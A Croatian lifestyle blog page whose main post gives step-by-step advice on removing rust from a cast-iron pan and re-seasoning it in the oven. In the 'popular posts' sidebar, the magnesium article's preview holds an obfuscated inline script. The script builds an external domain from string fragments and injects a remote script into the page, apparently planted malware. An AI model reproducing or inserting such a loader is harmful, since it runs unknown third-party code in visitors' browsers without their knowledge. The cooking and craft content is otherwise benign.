KAKO ZAHRĐALU TAVU VRATITI U PRVOTNO STANJE?




Kako zahrđalu tavu vratiti u prvotno stanje?




Tava od gusa je jedan od rijetkih kuhinjskih predmeta koji, uz pravilno održavanje, može trajati desetljećima, pa čak i generacijama. I kada izgleda potpuno zahrđalo i zapušteno, u većini slučajeva moguće ju je obnoviti uz malo truda i pravilnu tehniku.





Zašto dolazi do hrđe?

Glavni uzrok hrđe je vlaga. Ako tava nakon pranja ostane mokra ili se dugo izlaže vlazi, površina počinje oksidirati. Suprotno starom uvjerenju, umjerena količina deterdženta neće uništiti zaštitni sloj; problem nastaje kada se tava ne osuši temeljito.

Nakon pranja preporučuje se brisanje suhom krpom, a po potrebi i kratko zagrijavanje na štednjaku (2–3 minute) kako bi se uklonili i posljednji tragovi vlage.




Kako obnoviti gusanu tavu?

Obnova se sastoji od uklanjanja hrđe i ponovnog „začinjavanja“ (seasoning), odnosno stvaranja zaštitnog sloja.





Uklonite hrđu i stare naslage

Upotrijebite čeličnu vunu ili grublju spužvu i temeljito izribajte površinu dok ne uklonite svu hrđu i oštećeni zaštitni sloj. U ovom slučaju dopušteno je agresivnije ribanje jer je cilj doći do čiste metalne površine.




Operite i isperite

Tavu operite toplom vodom i blagim deterdžentom, zatim temeljito isperite. Površina mora biti potpuno čista i bez tragova hrđe.




Temeljito osušite

Obrišite suhom krpom i po potrebi kratko zagrijte na štednjaku kako biste uklonili preostalu vlagu.




Nanesite tanak sloj ulja

Čistom krpom ili papirnatim ručnikom nanesite vrlo tanak sloj biljnog ulja (ne više od jedne žlice) po unutrašnjosti i vanjskoj strani tave. Ulje ne smije kapati niti se zadržavati u lokvicama — bolje je staviti premalo nego previše.




Ispecite zaštitni sloj

Zagrijte pećnicu na 230–260 °C. Tavu stavite naopako na rešetku, a ispod postavite lim obložen aluminijskom folijom kako bi se uhvatile eventualne kapljice ulja. Pecite jedan sat, zatim isključite pećnicu i ostavite da se tava ohladi.

Ako površina nije ravnomjerno tamna i sjajna, postupak se može ponoviti.




Kako je pravilno održavati?

Nakon obnove važno je izbjegavati dugotrajno izlaganje vlazi i nikada ne namakati tavu u vodi. Ako površina počne gubiti sjaj, postane sivkasta ili se hrana počne lijepiti, vrijeme je za ponovno nanošenje tankog sloja ulja i kratko zagrijavanje.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više